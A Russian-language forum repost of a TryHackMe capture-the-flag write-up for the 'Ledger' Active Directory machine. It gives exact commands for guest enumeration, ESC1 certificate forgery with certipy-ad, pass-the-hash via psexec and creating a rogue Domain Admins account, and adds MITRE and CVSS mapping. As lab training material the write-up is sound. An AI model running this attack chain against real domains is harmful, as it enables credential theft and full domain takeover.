Ledger — прохождение сложной машины от Tryhackme

Страницы:  1

Ответить
 

Professor Seleznov


pic
Ledger
Ledger — это сложная машина Windows на TryHackMe, в центре которой находится неправильная конфигурация служб сертификатов Active Directory (AD CS). Первоначальная разведка выявляет контроллер домена (labyrinth.thm.local) с включенной аутентификацией SMB null и LDAP, раскрывающим учетные данные пользователя в примечаниях. Через certipy-ad находим шаблон сертификата ServerAuth , который уязвим к ESC1, что позволяет любому аутентифицированному пользователю запросить сертификат, выдавая себя за администратора домена. Хэш NT администратора извлекается из поддельного сертификата, а psexec предоставляет командную оболочку NT AUTHORITY SYSTEM. Альтернативный путь эксплуатации через аутентификацию LDAP Schannel для случаев, когда Kerberos PKINIT не срабатывает.
Разведка (T1595.002)
Поскольку в задании у нас сказано, что нужно будет эксплойтить Active Directory, значит у нас Windows, а для успешного сканирования этой ОС, нужно добавить флаг -Pn.
sudo nmap -sC -sV -v 10.114.161.221 -Pn
Здесь много портов, если сравнивать с машинами на Linux.
PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-03 09:42:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-03T09:44:40+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
443/tcp open ssl/https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-03T09:44:39+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:labyrinth.thm.local
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:labyrinth.thm.local
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
Первое, на что стоит обратить внимание это домены, которые нужно добавить в /etc/hosts.
Есть даже вебчик на 80 и 443 порту, но там стандартная заглушка от IIS, поэтому там делать нечего. Фаззить, там что-либо бесполезно.
4 порта 389,636,3268,3269 ldap. Они разделяются по способу шифрования и объему доступных данных.
Очень интересный порт 3389 это rdp, однако пока у нас нет кредов, чтобы туда зайти.
445 порт помечен как microsoft-ds?, но это должен быть smb.
-
Разведка через smb
Попробуем узнать для начала общую информацию о хосте. Буду использовать утилиту netexec.
~  nxc smb 10.114.161.221
SMB 10.114.161.221 445 LABYRINTH
  • Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)Здесь важный вывод это Null Auth:true. Это означает, что разрешена «нулевая сессия» (вход без логина и пароля).
    С пустыми кредами нас не пускает, зато гостя приняли как родного, заодно можно изучить список всех пользователей и групп.
    nxc smb 10.114.161.221  -u 'guest' -p '' --rid-brute
    
    Разведка через ldap
    Стоит проверить этой же утилитой список юзеров через порт 389. Здесь данные передаются в открытом виде.
    nxc ldap 10.114.161.221 -u 'guest' -p '' --users
    
    Здесь также видим много пользователей, но если внимательно посмотреть, то у двоих пользователей, можно наблюдать пароль в примечаниях. IVY_WILLIS и SUSANNA_MCKNIGHT.
    pic
    Пароли в примечаниях
    Креды получены, можно пробовать подключиться по RDP.
    -
    Эксплуатация (T1190) и первый флаг
    Для подключения по RDP я буду использовать утилиту Remmina.
    pic
    Логинимся по RDP
    Входим по полученному имени пользователя и паролю, домен - из скана nmap.
    IVY_WILLIS не поддался и видимо сменил пароль. Зато мы успешно залогинились под именем SUSANNA_MCKNIGHT и флаг на рабочем столе.
    pic
    Первый флаг
    THM{Firslt_user_flag!}
    
    Поиск вектора для повышения привелегий в AD
    Нужно бы осмотреться в системе, поэтому будем использовать Bloodhound для визуализации нашего положения.
    bloodhound-ce-python -d thm.local -ns 10.114.161.221 -dc labyrinth.thm.local --zip -c all -u 'SUSANNA_MCKNIGHT' -p '******'
    
    Эта команда создаст zip архив. Затем просто экспортируем его в bloodhound для наглядности.
    pic
    Bloodhound разведка
    Здесь можем наблюдать путь от нашего пользователя, до группы Domain Admins. Цель — Beverly или Bradley: Эти два пользователя — кратчайший путь к полному захвату домена. Однако этот путь не единственный к полному захвату.
    При работе с Active Direcory, полезно проверить ошибки в конфигурациях сертификатов. Для этих целей просканируем систему утилитой certipy-ad.
    certipy-ad find -u SUSANNA_MCKNIGHT -p '******' -dc-ip 10.114.161.221 -vulnerable
    
    pic
    Уязвимость ESC1
    Успех, есть уязвимоть ESC1.
    Шаблон ServerAuth позволяет любому члену Authenticated Users выпустить сертификат клиентской аутентификации на имя произвольного пользователя домена, включая Domain Administrator.
    -
    Решение №1. Атакуем AD с кредами админа
    Зная об уязвимости ESC1, далее я насчитал как минимум 3 пути решения, хотя они все схожи.
    • Можно выпустить сертификат притворившись непосредственно администратором.
    • Можно запросить пропуск на имя BRADLEY_ORTIZ, потому что он входит в группу Domain Admins, а для чтения флага, нам нужно это условие.
    • Создать своего пользователя и добавить в группу Domain Admins.
    Все 3 решения основаны на уязвимости ESC1.
    Будем притворяться админом и сделаем запрос на выпуск сертификата от его имени. Для этого снова будем использовать certipy-ad.
    certipy-ad req -u 'SUSANNA_MCKNIGHT@thm.local' -p '******!' -target labyrinth.thm.local  -template 'ServerAuth' -ca 'thm-LABYRINTH-CA' -upn Administrator@thm.local
    
    Получаем файл administrator.pfx, содержащий сертификат администратора.
    С помощью того же Certipy можно будет получить NT-хэш администратора или запросить Kerberos TGT.
    certipy-ad auth -pfx administrator.pfx -dc-ip 10.112.146.154
    
    pic
    Аутентификация по поддеольному сертификату
    Как видно хэш админа получен.
    Когда у нас есть хэш админа, нам не нужен его пароль. Мы можем напрямую подключаться с хэшем.
    impacket-psexec -k -hashes :00000000000000 thm.local/Administrator@labyrinth.thm.local
    
    pic
    Второй флаг
    Флаг рута взят.
    THM{root's_flag_is_here}
    
    Решение №2 через создание своего пользователя
    В процессе решения после этапа запроса сертификата, во время аутентификации у меня kerberos выдавал ошибку.
    
    
  • Trying to get TGT...
    [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)Ошибка KDC_ERR_PADATA_TYPE_NOSUPP означает, что на DC банально не настроен (или сломан) сертификат для Kerberos PKINIT-аутентификации. Однако валидный файл .pfx я уже получил.
    Гуглинг дал одну наводку, что можно обойти через Schannel — аутентификация напрямую в LDAP по TLS-сертификату, минуя Kerberos целиком.
    certipy-ad auth -pfx administrator.pfx -dc-ip 10.114.161.221 -ldap-shell
    
    Логинимся, получаем шелл, однако через него напрямую нельзя прочитать флаг. Но можно создать нового пользователя и выдать ему админские права.
    # add_user Den
    Attempting to create user in: %s CN=Users,DC=thm,DC=local
    Adding new user with username: Den and password: 40B2lsU/56CP7,6 result: OK
    # add_user_to_group Den "Domain Admins"
    Adding user: Den to group Domain Admins result: OK
    С полученными кредами логинимся по RDP, забираем флаг.
    pic
    Флаг рута по RDP
    -
    Пару заметок по прохождению.
    Во время работы утилиты certipy-ad иногда сыпались и другие ошибки, по типу
    [!] DNS resolution failed: The DNS query name does not exist: labyrinth.thm.local.
    Traceback (most recent call last):
    File "/usr/lib/python3/dist-packages/certipy/lib/[target.py](http://target.py)", line 442, in resolve
    Это потому что Certipy использует dns.resolver из Python, который ходит напрямую в DNS-сервер из /etc/resolv.conf, а не в /etc/hosts. Поэтому нужно добавить айпишник машины в этот файл первым. Порядок здесь важен!
    Также в процессе решения машины узнал про утилиту rpcclient. В данном таске при моем решении, она не понадобилась, однако может быть полезна в будущем. С помощью нее можно получить массу полезной информации, которую не всегда отдают другие инструменты. Работая с AD нередко может понадобиться SID (Security Identifier) — это уникальный номер (например, S-1-5-21-3623811015-3361044348-30300820-500), который Windows использует для контроля доступа. Узнать SID админа на этой машине можно с помощью команды:
    rpcclient -U 'SUSANNA_MCKNIGHT%PASSWORD' 10.112.146.154 -c "lookupnames Administrator"
    
    Если на DC установлен патч KB5014754, то при аутентификации через certipy-ad auth может прилететь отказ. В этом случае нужно будет указать SID администратора и указать его при аутентификации.
    -
    Маппинг по MITRE ATT&CK
    Phase Tactic Technique ID
    Сканирование портов Discovery Network Service Discovery T1046
    Гостевой SMB доступ Discovery Account Discovery: Domain Account T1087.002
    Пароли в открытом виде Credential Access Unsecured Credentials: Credentials In Files T1552.001
    Вход по RDP через найденные креды Initial Access Valid Accounts: Domain Accounts T1078.002
    Маппинг домена через BloodHound Discovery Permission Groups Discovery: Domain Groups T1069.002
    AD CS ESC1 подделка сертификата Credential Access Steal or Forge Authentication Certificates T1649
    Извлечение NT-хеша из PFX Credential Access OS Credential Dumping T1003
    Pass-the-Hash через psexec Lateral Movement Use Alternate Authentication Material: Pass the Hash T1550.002
    Создание пользователя и добавление в группу Domain Admins Persistence Create Account: Domain Account T1136.002

    Оценка уязвимостей по CVSS
    CVE CVSS 3.1 Severity Description
    Пароли в примечаниях 6.5 (est.) Medium Пароли хранились в открытом виде в разделе примечаний, а также доступны для чтения всем пользователям с гостевым доступом CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    CVE-2024-49019 / ESC1 7.8 High Неправильно настроенный шаблон сертификата позволяет любому авторизованному пользователю запрашивать сертификаты аутентификации клиента для произвольных субъектов, включая администратора домена.
    Райтап от @alfabuster
    -Источник
  •  
    Loading...
    Error